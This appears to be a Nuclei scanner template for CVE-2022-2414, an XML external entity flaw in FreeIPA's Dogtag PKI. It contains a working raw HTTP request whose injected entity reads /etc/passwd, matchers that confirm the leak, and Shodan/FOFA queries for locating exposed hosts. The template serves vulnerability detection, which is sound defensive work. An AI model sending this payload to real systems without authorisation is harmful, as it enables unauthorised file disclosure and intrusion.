68 lines
2.3 KiB
YAML
68 lines
2.3 KiB
YAML
id: CVE-2022-2414
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info:
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name: FreeIPA - XML Entity Injection
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author: DhiyaneshDk
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severity: high
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description: |
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Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
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impact: |
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An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
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remediation: |
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Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.
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reference:
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- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md
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- https://nvd.nist.gov/vuln/detail/CVE-2022-2414
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- https://github.com/dogtagpki/pki/pull/4021
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2022-2414
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cwe-id: CWE-611
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epss-score: 0.01256
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epss-percentile: 0.84092
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cpe: cpe:2.3:a:dogtagpki:dogtagpki:10.5.18:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: dogtagpki
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product: dogtagpki
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shodan-query: title:"Identity Management" html:"FreeIPA"
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fofa-query: title="Identity Management"
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tags: cve,cve2022,dogtag,freeipa,xxe,dogtagpki
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http:
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- raw:
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- |
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POST /ca/rest/certrequests HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
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<CertEnrollmentRequest>
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<Attributes/>
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<ProfileID>&ent;</ProfileID>
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</CertEnrollmentRequest>
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- type: word
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part: body
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words:
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- "PKIException"
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- type: word
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part: header
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words:
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- "application/xml"
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- type: status
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status:
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- 400
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# digest: 490a0046304402203e01a48643ddc4111a52d8b34ca90c1d803678990761a21ea7e52dbdcf384f87022053892bd3048fc94077b0f1d151dfade945c5ee5c9fa857c5d0203eca2a47d1cf:922c64590222798bb761d5b6d8e72950 |